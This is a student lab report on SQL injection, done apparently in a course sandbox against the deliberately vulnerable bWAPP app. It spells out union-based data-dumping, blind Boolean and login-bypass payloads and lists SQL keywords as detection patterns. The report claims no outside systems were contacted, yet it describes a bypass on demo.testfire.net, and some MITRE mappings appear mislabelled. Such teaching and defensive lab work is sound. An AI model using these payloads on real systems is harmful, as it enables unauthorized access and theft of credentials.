

SQL INJECTION LAB REPORT

BACKGROUND	
Course:	CIS 170 - Hands-On Ethical Hacking and Network Defense
Term:	Spring 2026
Instructor:	Ray Lampano, Jnr.
Section Number:	15480/15481
Student Name:	Donaven Bruce
Student ID:	[Redacted]
Submission Platform:	Canvas
Report Date:	2026-02-14
Report Version:	1.0
Lab Title:	SQL Injection
Module Reference:	SQL Injection
Lab Type:	Live Virtual Machine Lab
Date Completed:	2026-02-14
Time Spent:	Approximately 1 hour
ENVIRONMENT	
Platforms and Systems:	
- Primary environment: Practice Labs / Live Virtual Machine Labs controlled sandbox. - Primary systems available in the topology: PLABDC01 (Windows Server 2019 - Domain Controller), PLABDM01 (Windows Server 2019 - Domain Member), PLABWIN10 (Windows 10 - Domain Member), and PLABKALI01 (Kali 2019.2 - Linux Kali Workstation). - The work centered mainly on PLABWIN10 using Internet Explorer and the bWAPP vulnerable web application for all SQL injection attacks and WebCruiser scanning. - Remote access to the virtual machines was provided through the course platform.	
Context and Constraints:	
- The module focused on classic union-based SQL injection, blind Boolean SQL injection, login bypass techniques, and prevention methods using WebCruiser. - Practice Labs flagged the module as legacy content using deprecated software, so behavior could vary and some steps were best interpreted as guided sandbox demonstrations. - Windows Updates were disabled in the Practice Labs environment, so software behavior reflected a controlled legacy setup rather than a current hardened enterprise baseline. - The module aligned most closely with exam objectives 3.2 (Information Security Attack Detection) and 3.3 (Information Security Attack Prevention).	
Authorization and Scope:	
- All documented activity took place only inside approved academic systems and isolated practice-lab sandboxes. - No public IP space, real organizations, or unauthorized targets were involved. - No production infrastructure, third-party systems, or live services were contacted. - The actions documented here were performed for defensive understanding, SQL injection attack simulation, and ethical hacking education within the course environment. - Restricted material, live credentials, and personal data are omitted or redacted from this report.	
Work Objectives:	
- Review SQL injection vulnerabilities, union-based attacks, blind Boolean attacks, and login bypass. - Use bWAPP on PLABWIN10 to perform column enumeration, database/table/column extraction, and data dumping via union-based SQL injection. - Execute blind Boolean SQL injection using substring checks. - Bypass login forms with classic SQL injection payloads. - Use WebCruiser to scan for SQL injection vulnerabilities and review prevention methods.	
SQL Injection Concepts and Defensive Framing:	
- The lab identified three core phases of SQL injection attacks: reconnaissance (column counting), exploitation (union-based data extraction, blind Boolean, login bypass), and scanning/prevention. - Attack types reviewed included union-based SQLi, blind Boolean SQLi, and classic login bypass. - Tools demonstrated both manual (Internet Explorer + bWAPP) and automated (WebCruiser) approaches, showing how poor input validation turns web applications into database attack surfaces. - Prevention methods reviewed included parameterized queries, stored procedures, input validation, least privilege, and vulnerability scanning, reinforcing that SQL injection defense requires both secure coding and proactive scanning.	

TECHNICAL ANALYSIS

Union-Based SQL Injection on bWAPP (PLABWIN10):

- On PLABWIN10, Internet Explorer was used to access <http://192.168.0.10/bWAPP> (login: bee/bug).
- Selected SQL Injection (GET/Search) and tested basic injection with m' which produced a SQL syntax error, confirming the application was vulnerable to SQL injection.
- Column enumeration was performed by testing m' order by 1- - through m' order by 8- -; no error at column 7 but an "Unknown column" error at column 8, confirming exactly 7 columns existed.
- Union-based data extraction began with m' union all select 1,2,3,4,5,6,7 - - to return all columns without error.
- Database name was extracted using m' union all select 1,database(),3,4,5,6,7 - - (revealed bWAPP database).
- Table names were enumerated with m' union all select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() - - (revealed five tables including users).
- Users table columns were extracted and data dumped with m' union all select 1,login,password,secret,5,6,7 from users - - (revealed login, password, and secret fields with hashed passwords including "bug").

Blind Boolean SQL Injection and Login Bypass:

- Blind Boolean attack selected in bWAPP. Tested version with test' or substring(@@version,1,1)=5# (true response) vs =4# (false response).
- Database name character extraction was performed with substring(database(),1,1)='b' (true) and similar checks for subsequent characters.
- Login bypass was demonstrated on <http://demo.testfire.net/bank/main.aspx> using username "admin" and password ' or '1'='1, successfully authenticating as admin without valid credentials.

WebCruiser Vulnerability Scanning:

- WebCruiser was downloaded from the Intranet Hacking Tools page as WebCruiser.zip, extracted, and launched on PLABWIN10.
- Target URL was set to http://192.168.0.10/bWAPP/sqli_1.php?title=&action=Search.
- Scan was executed with SQL Injection and obsolete backup file checks enabled; the tool detected multiple SQL injection vulnerabilities and provided detailed descriptions of each finding.

KEY COMMANDS, TOOLS, AND ARTIFACTS BY SYSTEM

PLABWIN10 — bWAPP SQL Injection Payloads:

```
m' (basic injection test)
m' order by 1- -
m' order by 7- -
m' order by 8- -
m' union all select 1,2,3,4,5,6,7 - -
m' union all select 1,database(),3,4,5,6,7 - -
m' union all select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() - -
m' union all select 1,login,password,secret,5,6,7 from users - -
test' or substring(@@version,1,1)=5# (blind Boolean)
test' or substring(database(),1,1)='b'#
' or '1'='1 (login bypass)
```

WebCruiser Scanning:

http://192.168.0.10/bWAPP/sqli_1.php?title=&action=Search
ScanSite (with SQL Injection + Obsolete Backup files enabled)

Primary Tools and Artifacts Observed:

- bWAPP union-based SQLi column enumeration (order by 1-8), union data extraction (database name, table names, users table with login/password/secret), blind Boolean responses (true/false movie existence), successful login bypass on demo.testfire.net, and WebCruiser scan results listing multiple SQL injection vulnerabilities with detailed descriptions.
- The most important evidence of successful SQL injection in the lab was the extraction of the bWAPP database name, users table data (including hashed passwords), blind Boolean true/false responses, and WebCruiser's confirmed SQL injection findings.

DEFENSIVE MAPPING AND SUMMARY

Technique Summary:

- The completed work covered classic union-based SQL injection, blind Boolean SQL injection, login bypass, and automated detection with WebCruiser on the intentionally vulnerable bWAPP application.
- The recurring theme across the module was that improper input validation and dynamic SQL queries allow attackers to manipulate or extract entire databases.

MITRE ATT&CK Mapping:

- Initial Access: T1190 Exploit Public-Facing Application - union-based and blind SQL injection directly exploited the bWAPP web application.
- Credential Access: T1555 Credentials from Password Stores - successful login bypass and users table dump.
- Collection: T1565.003 Data Manipulation - extraction of database name, tables, and sensitive user data.
- Discovery: T1595.002 Vulnerability Scanning - WebCruiser automated detection of SQL injection flaws.

Detection Opportunities:

- SQL syntax errors, unusual UNION SELECT or ORDER BY clauses, substring checks, and ' or '1'=1 patterns in web logs are strong indicators.
- Database error messages returned to users, repeated failed queries, or unexpected data in search results should trigger alerts.
- WAF rules for SQL keywords (UNION, SELECT, ORDER BY, substring, etc.) provide early detection.

Defensive Controls:

- Use parameterized queries / prepared statements and stored procedures instead of dynamic SQL.
- Implement strict input validation, output encoding, and whitelisting for all user-supplied data.
- Apply least privilege to database accounts and never use admin accounts for web applications.
- Enable WAFs, turn off detailed error messages to users, and regularly scan with tools like WebCruiser.

Completion Verification:

- Work was completed across union-based SQLi, blind Boolean SQLi, login bypass, and WebCruiser scanning.
- Completion was evidenced by successful column enumeration, database/table/column extraction, blind Boolean true/false responses, login bypass, and WebCruiser vulnerability detection.
- The actual payloads, commands, and scan targets used in the lab are preserved directly in this report for accurate documentation and reproducibility.

Key Findings:

- 1) SQL injection remains one of the most dangerous web vulnerabilities because it can lead to full database compromise including data theft, modification, or deletion.
- 2) Union-based attacks allow direct data extraction while blind Boolean attacks work even without visible error messages or data output.
- 3) Simple login bypass payloads like ' or '1'=1 can defeat weak authentication forms.
- 4) Automated tools like WebCruiser quickly identify SQL injection points that manual testing might miss.
- 5) The strongest defensive takeaway was that parameterized queries, input validation, and least-privilege database accounts are critical to preventing SQL injection attacks.

Issues / Deviations / Notes:

- The lab used deprecated software and a legacy environment, so exact error messages and behavior could vary slightly.
- bWAPP is intentionally vulnerable and was used only inside the isolated lab environment.
- Some payloads required minor adjustments due to URL encoding in the browser.

Reflection:

- This lab tied together manual SQL injection (union-based and blind), login bypass, and automated detection/prevention into a complete attack-defense workflow.
- The strongest takeaway was that SQL injection is dangerous because it bridges web application input directly to database commands, making secure coding practices and regular scanning essential.